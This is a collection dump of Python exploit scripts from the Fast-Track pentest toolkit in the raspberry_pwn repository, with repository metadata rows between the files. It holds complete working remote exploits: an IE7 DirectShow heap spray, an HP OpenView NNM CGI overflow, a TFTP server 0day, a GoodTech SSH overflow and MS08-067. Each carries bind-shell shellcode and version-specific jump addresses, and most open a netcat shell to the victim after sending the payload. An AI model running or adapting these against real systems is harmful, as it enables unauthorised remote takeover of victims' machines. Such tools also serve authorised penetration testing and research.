httpd = HTTPServer(('', 80), myRequestHandler)
print ("""
#####################################################################################
# MS Internet Explorer 7 DirectShow (msvidctl.dll) Heap Spray (MS09-028) #
#####################################################################################
# #
# Written by SecureState R&D Team #
# Authors: David Kennedy (ReL1K), John Melvin (Whipsmack), Steve Austin #
# http://www.securestate.com #
# #
# win32_bind EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai Shell=bind #
# #
#####################################################################################
# Tested on WinXPSP3, Win2k3SP2, WinXPSP2 on IE6 and IE7 #
#####################################################################################
""")
print (" [-] Starting MS Internet Explorer 7 DirectShow (msvidctl.dll) Heap Spray [-]")
print (" [-] Have someone connect to you on port 80 [-]")
print ("\n\n <ctrl>-c to Cancel")
try:
# handle the connections
httpd.handle_request()
# Serve HTTP server forever
httpd.serve_forever()
# Except Keyboard Interrupts and throw custom message
except KeyboardInterrupt:
print ("\n\n Exiting exploit...\n\n")
raise KeyboardInterrupt
| 8,542
|
Python
|
.py
| 141
| 54.361702
| 1,069
| 0.529116
|
pwnieexpress/raspberry_pwn
| 1,024
| 184
| 8
|
GPL-3.0
|
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
|
19,405
|
hpopenview.py.svn-base
|
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/.svn/text-base/hpopenview.py.svn-base
|
#!/usr/bin/env python
import os
import sys
#from bin.include import print_banner
#print_banner()
choice=raw_input(""" Enter which version you want to target:
All JMP ESP's are performed in User32.dll
1. Windows 2000 Service Pack 0 - JMP ESP 77D20738
2. Windows 2000 Service Pack 4 - JMP ESP 77e3c256
3. Windows 2003 Service Pack 0 and 1 - JMP ESP 77d20738
4. Windows XP SP2 - JMP ESP 77d8af0a
Enter number: """)
if choice == '1':
choice=("\x38\x07\xD2\x77")
print " JMP ESP set to: '\\x38\\x07\\xD2\\x77'"
if choice == '2':
choice=("\x56\xc2\xe3\x77")
print " JMP ESP set to: '\\x56\\xc2\\xe3\\x77'"
if choice == '3':
choice=("\x38\x07\xd2\x77")
print " JMP ESP set to: '\\x38\\x07\\xd2\\x77'"
if choice == '4':
choice=("\x0a\xaf\xd8\x77")
print " JMP ESP set to: '\\x0a\\xaf\\xd8\\x77'"
try:
import socket
import time
try:
target=sys.argv[4]
except IndexError:
target=raw_input("\n Enter the IP Address to attack: ")
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
print " [+] Connecting to "+target
expl.connect ( ( target, 80) )
print " [+] Sending Evil Buffer to NNM CGI\n"
buffer="GET /OvCgi/OpenView5.exe?Context=Snmp&Action="
buffer+="A"*5123
buffer+=(choice)
buffer+="\x90"*32
# EXITFUNC=thread LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com */
buffer+=("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x48\x5a\x6a\x68"
"\x58\x30\x41\x31\x50\x41\x42\x6b\x41\x41\x78\x32\x41\x42\x32\x42"
"\x41\x30\x42\x41\x41\x58\x38\x41\x42\x50\x75\x6b\x59\x39\x6c\x50"
"\x6a\x78\x6b\x30\x4d\x49\x78\x38\x79\x59\x6f\x4b\x4f\x39\x6f\x71"
"\x70\x6e\x6b\x50\x6c\x67\x54\x67\x54\x4c\x4b\x72\x65\x65\x6c\x4c"
"\x4b\x41\x6c\x36\x65\x42\x58\x46\x61\x4a\x4f\x6c\x4b\x70\x4f\x64"
"\x58\x4c\x4b\x73\x6f\x47\x50\x76\x61\x7a\x4b\x50\x49\x6c\x4b\x55"
"\x64\x4e\x6b\x54\x41\x7a\x4e\x65\x61\x6f\x30\x6d\x49\x6c\x6c\x4e"
"\x64\x4f\x30\x71\x64\x35\x57\x49\x51\x4a\x6a\x56\x6d\x63\x31\x5a"
"\x62\x5a\x4b\x79\x64\x77\x4b\x61\x44\x57\x54\x45\x78\x63\x45\x78"
"\x65\x6c\x4b\x33\x6f\x44\x64\x53\x31\x48\x6b\x41\x76\x4c\x4b\x54"
"\x4c\x30\x4b\x6e\x6b\x43\x6f\x45\x4c\x66\x61\x78\x6b\x66\x63\x76"
"\x4c\x4c\x4b\x6c\x49\x42\x4c\x71\x34\x65\x4c\x50\x61\x48\x43\x50"
"\x31\x6b\x6b\x30\x64\x4c\x4b\x50\x43\x70\x30\x4e\x6b\x31\x50\x64"
"\x4c\x6c\x4b\x74\x30\x47\x6c\x6e\x4d\x6e\x6b\x63\x70\x75\x58\x63"
"\x6e\x62\x48\x4c\x4e\x50\x4e\x74\x4e\x5a\x4c\x50\x50\x4b\x4f\x4b"
"\x66\x30\x66\x30\x53\x33\x56\x73\x58\x66\x53\x30\x32\x75\x38\x70"
"\x77\x53\x43\x54\x72\x33\x6f\x76\x34\x6b\x4f\x6e\x30\x62\x48\x6a"
"\x6b\x38\x6d\x49\x6c\x67\x4b\x50\x50\x4b\x4f\x48\x56\x61\x4f\x6c"
"\x49\x38\x65\x65\x36\x4b\x31\x4a\x4d\x47\x78\x43\x32\x32\x75\x73"
"\x5a\x64\x42\x79\x6f\x38\x50\x75\x38\x7a\x79\x46\x69\x7a\x55\x6c"
"\x6d\x66\x37\x59\x6f\x6e\x36\x76\x33\x30\x53\x30\x53\x50\x53\x51"
"\x43\x42\x63\x70\x53\x51\x53\x53\x63\x4b\x4f\x4e\x30\x33\x56\x62"
"\x48\x54\x51\x53\x6c\x61\x76\x52\x73\x4e\x69\x5a\x41\x6e\x75\x75"
"\x38\x4d\x74\x66\x7a\x34\x30\x6a\x67\x32\x77\x6b\x4f\x79\x46\x51"
"\x7a\x46\x70\x51\x41\x70\x55\x4b\x4f\x38\x50\x53\x58\x4e\x44\x4c"
"\x6d\x66\x4e\x78\x69\x33\x67\x49\x6f\x6e\x36\x50\x53\x31\x45\x6b"
"\x4f\x5a\x70\x75\x38\x4d\x35\x42\x69\x6b\x36\x30\x49\x71\x47\x79"
"\x6f\x59\x46\x56\x30\x50\x54\x70\x54\x30\x55\x79\x6f\x48\x50\x4f"
"\x63\x52\x48\x7a\x47\x70\x79\x59\x56\x54\x39\x51\x47\x59\x6f\x58"
"\x56\x50\x55\x79\x6f\x58\x50\x52\x46\x73\x5a\x61\x74\x63\x56\x33"
"\x58\x65\x33\x52\x4d\x4d\x59\x4b\x55\x33\x5a\x70\x50\x56\x39\x44"
"\x69\x6a\x6c\x4d\x59\x59\x77\x71\x7a\x67\x34\x4c\x49\x7a\x42\x54"
"\x71\x4b\x70\x79\x63\x4c\x6a\x4b\x4e\x52\x62\x64\x6d\x49\x6e\x30"
"\x42\x56\x4c\x4d\x43\x4c\x4d\x72\x5a\x77\x48\x6c\x6b\x4c\x6b\x6c"
"\x6b\x32\x48\x31\x62\x49\x6e\x6f\x43\x77\x66\x6b\x4f\x50\x75\x51"
"\x54\x6b\x4f\x7a\x76\x61\x4b\x72\x77\x66\x32\x70\x51\x36\x31\x33"
"\x61\x53\x5a\x65\x51\x72\x71\x61\x41\x30\x55\x41\x41\x79\x6f\x48"
"\x50\x32\x48\x6c\x6d\x6e\x39\x45\x55\x58\x4e\x61\x43\x69\x6f\x6a"
"\x76\x53\x5a\x39\x6f\x4b\x4f\x46\x57\x69\x6f\x6a\x70\x4e\x6b\x73"
"\x67\x49\x6c\x6d\x53\x49\x54\x70\x64\x6b\x4f\x4b\x66\x61\x42\x6b"
"\x4f\x48\x50\x33\x58\x4a\x4f\x58\x4e\x6d\x30\x35\x30\x33\x63\x4b"
"\x4f\x6b\x66\x79\x6f\x58\x50\x68")
buffer+="\r\n\r\n"
expl.send (buffer)
expl.close()
print " [+] Payload Sent, ph33r."
print " Waiting a few seconds before starting netcat connect.."
time.sleep(4)
ncstart=os.popen2('xterm -T "HP OpenView Network Node Manager CGI Buffer Overflow" -e nc -nv %s 4444' % (target))
print " If you were successful, you should have a shell in a seperate window.."
time.sleep(4)
except Exception, e:
print "\n Something went wrong. Might not be vulnerable..\n Printing error: "+str(e)+"\n\n Returning to exploits menu..."
time.sleep(4)
| 5,419
|
Python
|
.py
| 96
| 48.697917
| 134
| 0.636191
|
pwnieexpress/raspberry_pwn
| 1,024
| 184
| 8
|
GPL-3.0
|
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
|
19,406
|
tftp.py.svn-base
|
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/.svn/text-base/tftp.py.svn-base
|
#!/usr/bin/env python
# TFTP Server for Windows V1.4 ST (0day)
# http://sourceforge.net/projects/tftp-server/
# Tested on Windows Vista SP0.
# Coded by Mati Aharoni
# muts..at..offensive-security.com
# http://www.offensive-security.com/0day/sourceforge-tftpd.py.txt
##################################################################
# bt ~ # sourceforge-tftpd.py
# [*] TFTP Server for Windows V1.4 ST (0day)
# [*] http://www.offensive-security.com
# [*] Sending evil packet, ph33r
# [*] Check port 4444 for bindshell
# bt ~ # nc -v 172.16.167.134 4444
# (UNKNOWN) [172.16.167.134] 4444 (krb524) open
# Microsoft Windows [Version 6.0.6000]
# Copyright (c) 2006 Microsoft Corporation. All
# rights reserved.
#
# C:\Windows\system32>
##################################################################
#import os
import socket
import sys
import time
import subprocess
#from bin.include import print_banner
#print_banner()
print """ *****************************************************************
* TFTP Server for Windows V1.4 ST (0day)
* http://sourceforge.net/projects/tftp-server/
* Tested on Windows Vista SP0.
* Coded by Mati Aharoni
* muts..at..offensive-security.com
* http://www.offensive-security.com/0day/sourceforge-tftpd.py.txt
*****************************************************************
"""
host=raw_input(" Enter the IP Address of the TFTP Server: ")
port = 69
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
print "sock() failed"
sys.exit(1)
# Jump back shellcode
sc = "\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x16\x91\x9c"
sc +="\x30\x83\xeb\xfc\xe2\xf4\xcf\x7f\x45\x44\x32\x65\xc5\xb0\xd7\x9b"
sc +="\x0c\xce\xdb\x6f\x51\xcf\xf7\x91\x9c\x30"
# windows/shell_bind_tcp - 317 bytes
# http://www.metasploit.com
# EXITFUNC=seh, LPORT=4444
shell=("\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b"
"\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01"
"\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07"
"\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f"
"\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b"
"\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c"
"\x8b\x70\x1c\xad\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff"
"\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0"
"\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08"
"\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53"
"\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x66\x68\x11\x5c\x66"
"\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff\xd6\x6a\x10\x51"
"\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53\x55\xff\xd0"
"\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff\xd0\x93"
"\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64\x66"
"\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38"
"\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57"
"\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9"
"\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83"
"\xc4\x64\xff\xd6\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6"
"\xff\xd0")
filename = "\x90"*860 + shell + "\x90"*14 + sc + "\xeb\xd0\x90\x90" + "\x2b\x0e\x41"
mode = "netascii"
muha = "\x00\x02" + filename+ "\0" + mode+ "\0"
print "[*] Sending evil packet, ph33r"
try:
s.sendto(muha, (host, port))
except Exception:
print " Failed to send the exploit, is the server up?"
print " Connecting to victim on 4444 in 10 seconds...\n"
time.sleep(10)
connecting=subprocess.Popen("nc %s 4444" % (host), shell=True).wait()
| 3,617
|
Python
|
.py
| 84
| 41.571429
| 84
| 0.664016
|
pwnieexpress/raspberry_pwn
| 1,024
| 184
| 8
|
GPL-3.0
|
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
|
19,407
|
goodtech.py.svn-base
|
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/.svn/text-base/goodtech.py.svn-base
|
#!/usr/bin/env python
#
import subprocess
import os
import time
try:
import paramiko #@UnresolvedImport @UnusedImport
import sys
except IndexError:
print "Paramiko SSH Module not installed, download from:\n http://www.lag.net/paramiko/download/paramiko-1.7.4.tar.gz\nor in debian package is python-paramiko"
print "\nExiting Fast-Track....\n\n"
time.sleep(3)
sys.exit()
definepath=os.getcwd()
launch=subprocess.Popen("python %s/bin/exploits/goodtech1.py" % (definepath), shell=True).wait()
| 519
|
Python
|
.py
| 15
| 31.666667
| 163
| 0.755511
|
pwnieexpress/raspberry_pwn
| 1,024
| 184
| 8
|
GPL-3.0
|
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
|
19,408
|
goodtech1.py.svn-base
|
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/.svn/text-base/goodtech1.py.svn-base
|
#!/usr/bin/env python
#
# Goodtech SSH Remote Buffer Overflow Universal Exploit
# Written by: ReL1K
# Original exploit discovery by: r0ut3r
#
#
# Tested on GoodTech 6.4 Windows 2003 SP0 and SP1
#
# rel1k@box:~/$ python goodtech.py
# Enter the IP or hostname of victim: 10.211.55.5
# Enter the username for server: administrator
# Enter password for the server: password
# Enter the following target:
#
# 1. Windows 2k3 SP0
# 2. Windows 2k3 SP1
# 3. Windows XP SP0
# 4. Windows XP SP1
# 5. Windows XP SP2
# 6. Windows 2000 SP3
# 7. Windows 2000 SP4
# 8. Windows NT SP6
#
# Enter number: 1
#
# +++ Sending evil payload... +++
# +++ Evil payload send.. +++
# Try connecting to victim on 4343
# rel1k@box:~/$ nc 10.211.55.5 4343
# Microsoft Windows [Version 5.2.3790]
# (C) Copyright 1985-2003 Microsoft Corp.
#
# C:\Program Files\GoodTech SSH Server>
#
# ************** START CODE EXPLOIT HERE **********************
# Paramiko SSH Module used
try:
import paramiko
import sys
import subprocess
import time
except IndexError:
print "Paramiko SSH Module not installed, download from:\n http://www.lag.net/paramiko/download/paramiko-1.7.4.tar.gz\nor in debian package is python-paramiko"
print "\nExiting Fast-Track....\n\n"
sys.exit()
client=paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.MissingHostKeyPolicy())
buffer= "A"*164
# set victim IP
print """
Goodtech SSH Remote Buffer Overflow Universal Exploit
Written by: ReL1K
Original exploit discovery by: r0ut3r
Special Thanks: muts, stazz, whipsmack, sasquatch,
leroy, hdm
Example:
+++ Sending evil payload... +++
+++ Evil payload send.. +++
Try connecting to victim on 4343
rel1k@box:~/$ nc 10.211.55.5 4343
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\Program Files\GoodTech SSH Server>
*** End Example ***
"""
hostname=raw_input("Enter the IP or hostname of victim: ")
# set username
username=raw_input("Enter the username for server: ")
# set password
password=raw_input("Enter password for the server: ")
# define what windows version
ver=raw_input("""
Enter the following target:
1. Windows 2k3 SP0
2. Windows 2k3 SP1
3. Windows XP SP0
4. Windows XP SP1
5. Windows XP SP2
6. Windows 2000 SP3
7. Windows 2000 SP4
8. Windows NT SP6
Enter number: """)
if ver == '1':
eip = "\xb4\xd6\x5d\x77" # call esp in Win2k3 SP0 shell32.dll
if ver == '2':
eip = "\x23\x14\xb5\7c" # call esp in Win2k3 SP1 shell32.dll
if ver == '3':
eip = "\x53\x8e\x43\x77" # call esp in WinXP SP0 shell32.dll
if ver == '4':
eip = "\xa3\x2e\x5a\x77" # call esp in WinXP SP1 shell32.dll
if ver == '5':
eip = "\xe3\x7b\xc7\x7c" # call esp in WinXP SP2 shell32.dll
if ver == '6':
eip = "\x9d\x01\x44\x78" # call esp in Win2000 SP3 shell32.dll
if ver == '7':
eip = "\xc5\xad\x48\x78" # call esp in Win2000 SP4 shell32.dll
if ver == '8':
eip = "\x91\x92\xc6\x77" # call esp in WinNT SP6 shell32.dll
nopsled= "\x90"*20 # pad the buffer with nops
# win32_bind - EXITFUNC=seh LPORT=4343 Size=344 Encoder=PexFnstenvSub http://metasploit.com
shellcode= "\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xad"
shellcode+= "\x98\x05\xdb\x83\xeb\xfc\xe2\xf4\x51\xf2\xee\x96\x45\x61\xfa\x24"
shellcode+= "\x52\xf8\x8e\xb7\x89\xbc\x8e\x9e\x91\x13\x79\xde\xd5\x99\xea\x50"
shellcode+= "\xe2\x80\x8e\x84\x8d\x99\xee\x92\x26\xac\x8e\xda\x43\xa9\xc5\x42"
shellcode+= "\x01\x1c\xc5\xaf\xaa\x59\xcf\xd6\xac\x5a\xee\x2f\x96\xcc\x21\xf3"
shellcode+= "\xd8\x7d\x8e\x84\x89\x99\xee\xbd\x26\x94\x4e\x50\xf2\x84\x04\x30"
shellcode+= "\xae\xb4\x8e\x52\xc1\xbc\x19\xba\x6e\xa9\xde\xbf\x26\xdb\x35\x50"
shellcode+= "\xed\x94\x8e\xab\xb1\x35\x8e\x9b\xa5\xc6\x6d\x55\xe3\x96\xe9\x8b"
shellcode+= "\x52\x4e\x63\x88\xcb\xf0\x36\xe9\xc5\xef\x76\xe9\xf2\xcc\xfa\x0b"
shellcode+= "\xc5\x53\xe8\x27\x96\xc8\xfa\x0d\xf2\x11\xe0\xbd\x2c\x75\x0d\xd9"
shellcode+= "\xf8\xf2\x07\x24\x7d\xf0\xdc\xd2\x58\x35\x52\x24\x7b\xcb\x56\x88"
shellcode+= "\xfe\xcb\x46\x88\xee\xcb\xfa\x0b\xcb\xf0\x15\x2c\xcb\xcb\x8c\x3a"
shellcode+= "\x38\xf0\xa1\xc1\xdd\x5f\x52\x24\x7b\xf2\x15\x8a\xf8\x67\xd5\xb3"
shellcode+= "\x09\x35\x2b\x32\xfa\x67\xd3\x88\xf8\x67\xd5\xb3\x48\xd1\x83\x92"
shellcode+= "\xfa\x67\xd3\x8b\xf9\xcc\x50\x24\x7d\x0b\x6d\x3c\xd4\x5e\x7c\x8c"
shellcode+= "\x52\x4e\x50\x24\x7d\xfe\x6f\xbf\xcb\xf0\x66\xb6\x24\x7d\x6f\x8b"
shellcode+= "\xf4\xb1\xc9\x52\x4a\xf2\x41\x52\x4f\xa9\xc5\x28\x07\x66\x47\xf6"
shellcode+= "\x53\xda\x29\x48\x20\xe2\x3d\x70\x06\x33\x6d\xa9\x53\x2b\x13\x24"
shellcode+= "\xd8\xdc\xfa\x0d\xf6\xcf\x57\x8a\xfc\xc9\x6f\xda\xfc\xc9\x50\x8a"
shellcode+= "\x52\x48\x6d\x76\x74\x9d\xcb\x88\x52\x4e\x6f\x24\x52\xaf\xfa\x0b"
shellcode+= "\x26\xcf\xf9\x58\x69\xfc\xfa\x0d\xff\x67\xd5\xb3\x5d\x12\x01\x84"
shellcode+= "\xfe\x67\xd3\x24\x7d\x98\x05\xdb"
try:
client.connect((hostname), 22, (username), (password))
try:
print " +++ Sending evil payload... +++"
sendbuffer=client.open_sftp()
sendbuffer.open(buffer+eip+nopsled+shellcode)
except IOError: pass
print " +++ Evil payload send.. +++\nConnecting to victim on 4343 in 10 seconds...\n"
client.close()
time.sleep(10)
connecting=subprocess.Popen("nc %s 4343" % (hostname), shell=True).wait()
except KeyboardInterrupt: sys.exit()
except Exception: print "Either the server doesn't exist or isn't vulnerable.."
| 5,326
|
Python
|
.py
| 136
| 37.411765
| 164
| 0.717677
|
pwnieexpress/raspberry_pwn
| 1,024
| 184
| 8
|
GPL-3.0
|
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
|
19,409
|
ms08067.py.svn-base
|
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/.svn/text-base/ms08067.py.svn-base
|
#!/usr/bin/env python
#############################################################################
# MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)
# www.hackingspirits.com
# www.coffeeandsecurity.com
# Email: d3basis.m0hanty @ gmail.com
#############################################################################
import struct
import sys
import time
import os
import subprocess
#from bin.include import print_banner
from threading import Thread #Thread is imported incase you would like to modify
#the src to run against multiple targets.
try:
from impacket import smb
from impacket import uuid
from impacket.dcerpc import dcerpc
from impacket.dcerpc import transport
except ImportError, _:
print 'Install the following library to make this script work'
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
print "\n\nExiting Fast-Track...\n\n"
sys.exit(1)
#print_banner()
print '\n\n #################################################################'
print ' # MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)'
print ' # www.hackingspirits.com'
print ' # www.coffeeandsecurity.com'
print ' # Email: d3basis.m0hanty @ gmail.com'
print ' # Minor modifications for Fast-Track by ReL1K '
print ' #################################################################\n'
#Portbind shellcode from metasploit; Binds port to TCP port 4444
shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9"
shellcode += "\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56"
shellcode += "\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22"
shellcode += "\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30"
shellcode += "\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81"
shellcode += "\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42"
shellcode += "\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22"
shellcode += "\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9"
shellcode += "\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79"
shellcode += "\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab"
shellcode += "\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa"
shellcode += "\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48"
shellcode += "\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1"
shellcode += "\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0"
shellcode += "\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe"
shellcode += "\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9"
shellcode += "\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84"
shellcode += "\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56"
shellcode += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8"
shellcode += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79"
shellcode += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6"
shellcode += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"
#Payload for Windows 2000 target
payload_1='\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41'
payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41'
payload_1+='\x41\x41'
payload_1+='\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\xeb\xcc'
payload_1+='\x00\x00'
#Payload for Windows 2003[SP2] target
payload_2='\x41\x00\x5c\x00'
payload_2+='\x2e\x00\x2e\x00\x5c\x00\x2e\x00'
payload_2+='\x2e\x00\x5c\x00\x0a\x32\xbb\x77'
payload_2+='\x8b\xc4\x66\x05\x60\x04\x8b\x00'
payload_2+='\x50\xff\xd6\xff\xe0\x42\x84\xae'
payload_2+='\xbb\x77\xff\xff\xff\xff\x01\x00'
payload_2+='\x01\x00\x01\x00\x01\x00\x43\x43'
payload_2+='\x43\x43\x37\x48\xbb\x77\xf5\xff'
payload_2+='\xff\xff\xd1\x29\xbc\x77\xf4\x75'
payload_2+='\xbd\x77\x44\x44\x44\x44\x9e\xf5'
payload_2+='\xbb\x77\x54\x13\xbf\x77\x37\xc6'
payload_2+='\xba\x77\xf9\x75\xbd\x77\x00\x00'
try:
if sys.argv[2]=='1': #Windows 2000 Payload
payload=payload_1
print '[-]Windows 2000 payload loaded'
if sys.argv[2]=='2': #Windows 2003[SP2] Payload
payload=payload_2
print '[-]Windows 2003[SP2] payload loaded'
except IndexError:
choice=raw_input("""
Enter the target:
1. Windows 2000
2. Windows 2003[SP2]
<ctrl>-c to Cancel
Enter the number: """)
if choice=='1':
payload=payload_1
osver=1
if choice=='2':
payload=payload_2
osver=2
target=raw_input("\n Enter the IP Address to attack: ")
class SRVSVC_Exploit(Thread):
def __init__(self, target, osver, port=445):
super(SRVSVC_Exploit, self).__init__()
self.__port = port
self.target = target
self.osver = osver
def __DCEPacket(self):
print '[-]Initiating connection'
try:
self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
self.__trans.connect()
except Exception, e:
print "\n Something went wrong. Might not be vulnerable..\n Printing error: "+str(e)+"\n\n Returning to exploits menu..."
time.sleep(4)
print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target
self.__dce = self.__trans.DCERPC_class(self.__trans)
self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
# Constructing Malicious Packet
self.__stub='\x01\x00\x00\x00'
self.__stub+='\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00'
self.__stub+=shellcode
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x00\x00\x00\x00'
self.__stub+='\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00'
self.__stub+=payload
self.__stub+='\x00\x00\x00\x00'
self.__stub+='\x02\x00\x00\x00\x02\x00\x00\x00'
self.__stub+='\x00\x00\x00\x00\x02\x00\x00\x00'
self.__stub+='\x5c\x00\x00\x00\x01\x00\x00\x00'
self.__stub+='\x01\x00\x00\x00'
return
def run(self):
self.__DCEPacket()
self.__dce.call(0x1f, self.__stub) #0x1f (or 31)- NetPathCanonicalize Operation
print "Waiting a few seconds before starting netcat connect.."
time.sleep(4)
# ncstart=os.popen2('xterm -T "MS08-067 Exploit for Fast-Track" -e nc -nv %s 4444' % (target))
connecting=subprocess.Popen("nc %s 4444" % (target), shell=True).wait()
if __name__ == '__main__':
try:
target = sys.argv[1]
osver = sys.argv[2]
except Exception: pass
current = SRVSVC_Exploit(target, osver)
current.start()
| 7,612
|
Python
|
.py
| 157
| 43.77707
| 141
| 0.641416
|
pwnieexpress/raspberry_pwn
| 1,024
| 184
| 8
|
GPL-3.0
|
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
|
19,410
|
xmlcorruptionbo.py.svn-base
|
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/.svn/text-base/xmlcorruptionbo.py.svn-base
|
#!/usr/bin/env python
